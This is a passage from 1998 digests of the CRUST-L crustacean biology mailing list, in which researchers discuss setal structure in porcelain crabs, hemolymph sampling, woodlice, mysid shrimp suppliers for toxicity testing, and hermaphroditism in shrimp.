~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeir�o Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Fri, 20 Mar 1998 14:35:20 -0600 Subject: CRUST-L: setae details Alan, Have you checked ""The Microscopic Anatomy of Invertebrates"", the Decapod volume mumbletymumble (sorry, all my refs are buried in boxes), and the Insect volume 11 (3 parts). >From your description and the image on your web page, I suspect the reviewer is right, the core is the setal lumen. Not to say you're not right, the setal lumen could be modified into an inner core, etc. But: - -I wouldn't use the term ""plumules"" in your description of the structures. This is already used to describe fine more-or-less planar exterior branching structures on setae. - -What does the reviewer mean by '""the dendritic canals that extend laterally from the central setal dendrite?""'? This to me refers to neural dendrites, most likely sensory. I do not think such neural structures could be seen in the light microscopic image on your web page, but the inner structures are obviously visible. Is ""dendritic"" being used in the sense of ""tree-like""? If so, it should be avoided, because of the confusion will neural structures. And I would predict that these are sensory setae, and have sensory dendrites within them. I can't provide any references off hand (but then I don't have to, thanks to Pierre!), but chaetotaxy is well-developed in mites and insects, so you might find some information there. If you don't mind trying to convince people that it's relevant to porcelin crabs. The only way to really resolve this issue is to section the setae and examine their structure. This will not be easy, if they are robust, but it is possible (use a hard resin and a diamond knife). The ""quick-and-dirty"" try is to prepare the appendage for SEM. When it's dry, use a razor blade to fracture the setae, some proximally, some distally, then mount and coat for SEM. If properly fixed (fix as if you were doing TEM), any sensory dendrites, etc. ought to be visible. (The fracturing might work better after the final 100% EtOH if done in LN2.) Phil (There are porcelin crabs and stone crabs, are there stoneware crabs?) >In my work on porcelain crabs, I've come across a few species with setae >whose peculiarities are visible without an SEM. The setae have distinct >proximal and distal regions, and a distinct internal core and external >sheath; the internal core penetrates the external sheath distally; in one >species, the distal half is flattened, and there are paired fine ""plumules"" >radiating from the internal core. The setae are rather stout, and >transparent (else, of course, I wouldn't be able to see much of the >above!). A reviewer of my MS, in which I discuss these setae, asked if the >inner core isn't ""just the lumen of the shaft within the seta,"" and if the >""plumules"" aren't just ""the dendritic canals that extend laterally from the >central setal dendrite?"" I'm afraid my morphological expertise, such as it >is, does not cover the internal morphology of setae! I will say that I >don't see any of this internal structure in the thick bristles Does anyone >out there have any information about this, including references? By the >way, you can take a look at the setae at my web site (address below, click >on the ""Odd setae"" button). > >Cheers, and thanks in advance! > >Alan > >------------------------------------ > >Alan W. Harvey (aharvey@amnh.org) >Assistant Curator of Invertebrates >American Museum of Natural History >Central Park West at 79th Street >New York, NY 10024 >(212) 769-5638; fax (212) 769-5783 >http://research.amnh.org/~aharvey > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Fri, 20 Mar 1998 15:53:46 -0500 Subject: CRUST-L: hemolymph sampling methods Silvia, After reading John's message I realize that I misread the volumes you want to collect. I agree with John that a fine capillary tube with paraffin oil is the way to collect microliter volumes of hemolymph; my method works for reasonably well (depending on your syringe) for volumes down to a few hundred microliters. If you plan to have students collect 0.5-2.5 microliters and analyze it by freezing point osmometry, I wish you luck; in my experience, handling and accurately analyzing such small volumes is not easy. Chuck - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Sun, 22 Mar 1998 12:37:59 +0000 (SAST) Subject: CRUST-L: Katrin Christensen email address Members Does any one know the address of Katrin Christensen from Otago university. Thanks Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Michael Gates"" Date: Sun, 22 Mar 1998 14:51:38 -0500 Subject: CRUST-L: Mysis vs Mysid I am looking for a good description of mysis and mysid shrimp. Michael Allen Gates {MichaelGates@bigfoot.com} - ---------------------------------------------------------------//----------- - -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #127 ***************************** >From owner-crust-l Thu Mar 26 19:55:19 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id TAA28086 for crust-l-digest-outgoing; Thu, 26 Mar 1998 19:54:38 -0500 Date: Thu, 26 Mar 1998 19:54:38 -0500 Message-Id: <199803270054.TAA28086@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #128 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 2 crust-l-digest Thursday, 26 March 1998 Volume 01 : Number 128 CRUST-L: RE: woodlice invasions CRUST-L: Alpheus heterochelis [none] CRUST-L: Mysid shrimp Re: CRUST-L: Mysid shrimp CRUST-L: References on Gammarus, mysis & mysid. Re: CRUST-L: Mysid shrimp CRUST-L: Mysid Shrimp CRUST-L: Mysid Shrimp CRUST-L: free publns CRUST-L: FW Shrimps CRUST-L: Modal Progression Refs. Re: CRUST-L: FW Shrimps CRUST-L: hermaphroditic shrimps CRUST-L: Re: FW Shrimp (fwd) CRUST-L: lack of mail CRUST-L: Albuneid nomenclature ---------------------------------------------------------------------- From: ""Andreas Leistikow"" Date: Mon, 23 Mar 1998 09:10:25 GMT+0100 Subject: CRUST-L: RE: woodlice invasions Dear Henry-Michel, Karel and others, a house full of woodlice is not a nice event in the eyes of most of the people, but I think it is a typical phenomenon in Central European summers. They are really no danger to food (if it is well-stored) or wood. The other way round, they are even helpers to keep your living conditions sane. These fine small critters forage on the bacteria and fungi living in decaying matter. So they will diminish the fungi pollution of cellars and window frames. As our European species are not too well adapted to dryness, you can find them in moist conditions and in warm summers they would try to hide in every shade they can find for not to dry out (and as there are fungi in the holes of your window frames you can be sure it is a moist place!). The only way to get rid of them without exchanging the invaders as promised by Peter or danger for your health is to minimize room moisture and possible hides, then they will leave your house (or do not so and simply die). But at least when the winter comes most of them will die naturally and you can take a broom and they are gone. Let's look forward to the summer coming soon. Greetings, Andreas - --------------------------------------------------------------------- Andreas Leistikow Universit�t Bielefeld Fakult�t f�r Biologie Abteilung f�r Morphologie und Systematik der Tiere Morgenbreede 45 D-33615 BIELEFELD / Germany e-mail: leiste@biologie.uni-bielefeld.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 23 Mar 1998 09:03:09 -0500 (EST) Subject: CRUST-L: Alpheus heterochelis Please respond to James Hensinger and not to me. Thanks, Jeff - ---------- Forwarded message ---------- To: crust-l@vims.edu From: James Hensinger Subject: Alpheus heterochelis Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Hello, Can anyone help to find a source for this species? snapping (pistol) shrimp Alpheus heterochelis Regards, James Hensinger Ascot International http://www.aquafind.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 23 Mar 1998 09:05:04 -0500 (EST) Subject: [none] Please respond to Brent Newman and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Brent Newman zool To: crust-l@vims.edu Subject: Apologies: Katrin Berkenbusch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Fellow Members I previously asked for the email address of Katrin Christensen of Otago University. It should have been Katrin Berkenbusch. Any help will be appreciated. Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ELIZABETH.MICHELLE.MOSER@solutia.com Date: 23 Mar 1998 13:33:30 -0600 Subject: CRUST-L: Mysid shrimp Hello, My name is Michelle Moser and I work for Solutia, Inc in St. Louis, MO. We are trying to perform a chronic toxicity test with a marine invertebrate. It has been suggested that we use mysid shrimp. Does anyone know of a supplier? Can anyone supply information on their life-cycle and the best way to culture them. If you could supply information, it would be greatly appreciated. Thanks, Michelle =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Vu Do Quynh"" Date: Tue, 24 Mar 1998 11:35:14 +0700 Subject: Re: CRUST-L: Mysid shrimp > From: ELIZABETH.MICHELLE.MOSER@solutia.com > To: crust-l@VIMS.EDU > Subject: CRUST-L: Mysid shrimp > Date: 23 Mar 1998 13:33:30 -0600 > Hello, My name is Michelle Moser and I work for Solutia, Inc in St. > Louis, MO. We are trying to perform a chronic toxicity test with a > marine invertebrate. It has been suggested that we use mysid shrimp. > Does anyone know of a supplier? Can anyone supply information on > their life-cycle and the best way to culture them. If you could > supply information, it would be greatly appreciated. > > Thanks, > Michelle I know that Mesopodopsis bahia has been routinely cultured at the Lab of Aquaculture and Artemia Reference Center for various nutrition experiments. I think that they have discontinued that culture by now but they mat give you some info, perhaps. There has also been some litterature about that but I do not have the references under the hand. The director of the lab is Prof Patrick Sorgeloos (patrick.sorgeloos@rug.ac.be) BTW, Artemia has also been referenced as a potential candidate for biotoxicity tests and is much easier to culture in hte Lab than mysid shrimps. Best regards Vu Do Quynh Director SARDI-CTU Email: vdq66qs@hn.vnn.vn =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Michael Gates"" Date: Mon, 23 Mar 1998 23:50:02 -0500 Subject: CRUST-L: References on Gammarus, mysis & mysid. Does anyone know of some good books for doing research on mysid, mysis, and gammarus, and where to obtain they references? Michael Allen Gates {MichaelGates@bigfoot.com} - -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Tue, 24 Mar 1998 08:23:38 +0000 Subject: Re: CRUST-L: Mysid shrimp Michelle, I suggest you contact Dr Marion Nipper of NIWA, in Hamilton, New Zealand. She has developed several mysid toxicity assays. I am sure they are in the pertinent literature; try a name search. I am sorry but I don't have her e-mail right now although I will try and find it for you. Good luck, John McNamara ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeir�o Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: James Hensinger Date: Tue, 24 Mar 1998 15:34:51 -0500 Subject: CRUST-L: Mysid Shrimp There have been several requests for Mysid so I will put this source out to the list. From: ELIZABETH.MICHELLE.MOSER@solutia.com To: crust-l@vims.edu Subject: CRUST-L: Mysid shrimp Date: 23 Mar 1998 13:33:30 -0600 Sender: owner-crust-l@vims.edu Reply-To: ELIZABETH.MICHELLE.MOSER@solutia.com Hello, My name is Michelle Moser and I work for Solutia, Inc in St. Louis, MO. We are trying to perform a chronic toxicity test with a marine invertebrate. It has been suggested that we use mysid shrimp. Does anyone know of a supplier? Can anyone supply information on their life-cycle and the best way to culture them. If you could supply information, it would be greatly appreciated. Thanks, Michelle =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= These people have freshwater rotifers as well Aquatic Research Organisims P.O. Box 1271 One Lafayette Road Hampton, NH 03842, U.S.A. Tel: (603) 926-1650 or 1-800-927-1650 Fax: (603) 926-5278 Regards, James Hensinger Ascot International http://www.aquafind.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: James Hensinger Date: Tue, 24 Mar 1998 09:30:22 -0500 Subject: CRUST-L: Mysid Shrimp There have been several requests for Mysid so I will put this source out to the list. From: ELIZABETH.MICHELLE.MOSER@solutia.com To: crust-l@vims.edu Subject: CRUST-L: Mysid shrimp Date: 23 Mar 1998 13:33:30 -0600 Sender: owner-crust-l@vims.edu Reply-To: ELIZABETH.MICHELLE.MOSER@solutia.com Hello, My name is Michelle Moser and I work for Solutia, Inc in St. Louis, MO. We are trying to perform a chronic toxicity test with a marine invertebrate. It has been suggested that we use mysid shrimp. Does anyone know of a supplier? Can anyone supply information on their life-cycle and the best way to culture them. If you could supply information, it would be greatly appreciated. Thanks, Michelle =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= These people have freshwater rotifers as well Aquatic Research Organisims P.O. Box 1271 One Lafayette Road Hampton, NH 03842, U.S.A. Tel: (603) 926-1650 or 1-800-927-1650 Fax: (603) 926-5278 Regards, James Hensinger Ascot International http://www.aquafind.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Peter Brueggeman"" Date: Tue, 24 Mar 1998 13:44:31 -0800 Subject: CRUST-L: free publns Free publications from the NAGA Expedition's NAGA REPORT series subtitled ""Scientific Results of Marine Investigations of the South China Sea and the Gulf of Thailand 1959-1961."" I am clearing out a large stock. Respond with your postal mailing address; no postage reimbursement needed............Peter Brueggeman, SIO Library 1) Naga Expedition, station index and data / by James L. Faughn La Jolla : University of California, Scripps Institution of Oceanography, 1974 NAGA Report Volume 1 2) The physical oceanography of the Gulf of Thailand, Naga Expedition / by Margaret K. Robinson La Jolla, Calif. : Scripps Institution of Oceanography, 1974 AND Bathythermograph (BT) temperature observations in the Timor Sea, Naga Expedition, cruise S11 / by Margaret K. Robinson La Jolla, Calif. : Scripps Institution of Oceanography, 1974 IN: NAGA Report Volume 3 Part 1 3) The portunid crabs (crustacea: portunidae) collected by the Naga Expedition / by W. Stephenson La Jolla, Calif. : Scripps Institution of Oceanography, 1967 AND Gammaridean amphipoda from the South China Sea / by Margaret K. Robinson La Jolla, Calif. : Scripps Institution of Oceanography, 1967 IN: NAGA Report Volume 4 Part 1 4) The Chaetognatha of the NAGA Expedition (1959-1961) in the South China Sea and the Gulf of Thailand / by Angeles Alvario La Jolla : University of California, Scripps Institution of Oceanography, 1967- NAGA Report Volume 4 Part 2 5) Nephtyidae (polychaeta) from the Bay of Nha Trang, South Viet Nam / by Kristian Fauchald La Jolla, Calif. : Scripps Institution of Oceanography, 1967 AND Polychaeta from the Bay of Nha Trang, South Viet Nam / by Victor A. Gallardo La Jolla, Calif. : Scripps Institution of Oceanography, 1967 IN: NAGA Report Volume 4 Part 3 6) The brachyura (crustacea: decapoda) collected by the Naga Expedition : including a review of the homolidae / by R. Serene and P. Lohavanijaya La Jolla, Calif. : Scripps Institution of Oceanography, 1973 NAGA Report Volume 4 Part 4 7) Euthecosomatous pteropods (Mollusca) in the Gulf of Thailand and the South China Sea : seasonal distribution and species associations / by Marcia Rottman La Jolla : University of California, Scripps Institution of Oceanography, 1976 NAGA Report Volume 4 Part 6 ============================================================= Peter Brueggeman, Scripps Institution of Oceanography Library UCSD, 9500 Gilman Dr, Dept 0219, San Diego CA 92093-0219 USA ....pbrueggeman@ucsd.edu.......http://library-pc5969.ucsd.edu/ ....Telephone: 619/534-1230.......Fax: 619/534-5269 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 25 Mar 1998 00:18:24 -0500 (EST) Subject: CRUST-L: FW Shrimps I don't know why this bounced, but please respond to Jari or the list, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Jari Sandqvist Reply-To: jaris@aqvaari.pp.fi Subject: FW shrimps Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi I need help for some questions. 1. There is hermaphrodites (genus Lysmata...) in sea water shrimps. Any such species in fresh waters? 2. What would you say about this (Asian?) FW shrimp imported from Singaporean Aquarium exporter: http://personal.eunet.fi/pp/trc/mkatka.jpg? Even subfamily identification or guesses of the genus, please. The shrimp is female. 3. Is there somebody who has seen Caridina japonica specimens available from Singaporean aquarium exporters? These shrimps are transparent (Caridinas anyway) with red points everywhere and greenish stripe on the dorsal. In German aquarium fish magazine somebody wrote that they could not be C. japonica because it is forbidden to export them from Japan! Whats the true on this topic. 4. In FW shrimp species, does the fertilisation allways occur with moulting? Can some shrimps species/genus store any spermatozoa for later use? Thank you again for your time Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Ayax R. Diaz R."" Date: Tue, 24 Mar 1998 23:42:45 -0600 (CST) Subject: CRUST-L: Modal Progression Refs. Dear Crusters, Could anybody send me any reference about modal progression analysis in decapods based in length - freq. data? Some other collegues have told me that there are a ouple of them refering to shrimps, lobsters and some other crabs but I haven't been able to get any of them. I'd really thank any help in this. Cheers, Ayax. Ayax R. Diaz Ruiz Depto. de Biologia Marina Universidad Autonoma de Baja California Sur Km 5.5 Carretera al Sur. A.P. 19-B, C.P. 23,080 La Paz, B.C.S. Mexico. Tel./fax: (+ 52-112) 3-45-66 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Tue, 24 Mar 1998 21:57:42 -1000 Subject: Re: CRUST-L: FW Shrimps On Tue, 24 Mar 1998, Jeffrey Shields wrote: > 1. There is hermaphrodites (genus Lysmata...) in sea water shrimps. Any > such species in fresh waters? Wow! A question finally up my alley! There are many examples of protandrous hermaphrodites in shrimp, but they appear to be limited to certain families (Hippolytidae, Crangonidae, Pandalidae, some Alpheidae, and Atyidae are the major ones off the top of my head). It's interesting that non-shrimp families don't appear to show any hermaphroditism at all, with exception of some examples of parasitism. Protandry is most always the pattern described. Lysmata amboinensis is a protandrous, then simultaneous hermaphrodite (my work) and it is likely that several other Lysmata species fit this description in the genus. Unfortunately, clear experimental work is lacking in other simultaneous suspects. (BTW, if anyone wants to fund a postdoc looking further into to this, let me know!!) The freshwater shrimp you are thinking of are probably Atyids. Several species are thought to be protandrous, but not much work has been done in this area. [Carpenter (1978) did an excellent paper on one atyid with a review of hermaphroditism in higher crustacea.] > 2. What would you say about this (Asian?) FW shrimp imported from > Singaporean Aquarium exporter: > http://personal.eunet.fi/pp/trc/mkatka.jpg? Even subfamily > identification or guesses of the genus, please. The shrimp is female. This is probably not easy to determine. The best expert of atyid species I know is Shokita in Okinawa Japan. He is difficult to get in touch with, however. > 3. Is there somebody who has seen Caridina japonica specimens available > from Singaporean aquarium exporters? These shrimps are transparent > (Caridinas anyway) with red points everywhere and greenish stripe on the > dorsal. In German aquarium fish magazine somebody wrote that they could > not be C. japonica because it is forbidden to export them from Japan! > Whats the true on this topic. This is interesting, as there are very few laws on import/export of animals from Japan in my experience. The exception are corals and some CITES species. I can check with some sources there about C. japonica. > 4. In FW shrimp species, does the fertilisation allways occur with > moulting? Can some shrimps species/genus store any spermatozoa for later > use? In most small caridean shrimp, they must molt to bear eggs. There has been speculation that some Lysmata species store exogenous sperm (from partners), but I have serious doubts on the validity of those statements from my work. It certainly doesn't occur in L. amboinensis, and I suspect other supposed examples of sperm storage are just misinterpretations. For example, solitary L. amboinenis will spawn eggs with every molt, but none of those eggs are fertile. If you remove their partners, they don't spawn fertile eggs afterwards. I'd be very interested if anyone has actually seen something else. If your atyids are simultaneous hermaphrodites or are storing sperm, I'd be very interested in hearing more, and would be interested in collaboration. Good luck, Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Peter Wirtz Date: Wed, 25 Mar 1998 09:39:58 -0100 Subject: CRUST-L: hermaphroditic shrimps Dear Jari, Curt has already answered most of your questions. Protandrous hermaphroditism is common in shrimps. The only shrimps known to be SIMULTANEOUS hermaphrodites are three species of Lysmata. Curt has nice experimental evidence for L. amboinensis (I wish he would publish it), I have some evidence from the field for L. grabhami (described in J. Zool. 242, 799-811; 1997) and there is a third species being worked on by Dr. Bauer. Best wishes Peter Peter Wirtz email biomar@dragoeiro.uma.pt after 27 March. http://www.uma.pt/sbmo/pwirtz.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 25 Mar 1998 09:47:10 -0500 (EST) Subject: CRUST-L: Re: FW Shrimp (fwd) Please respond to Ludwig Buckup or the list, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- 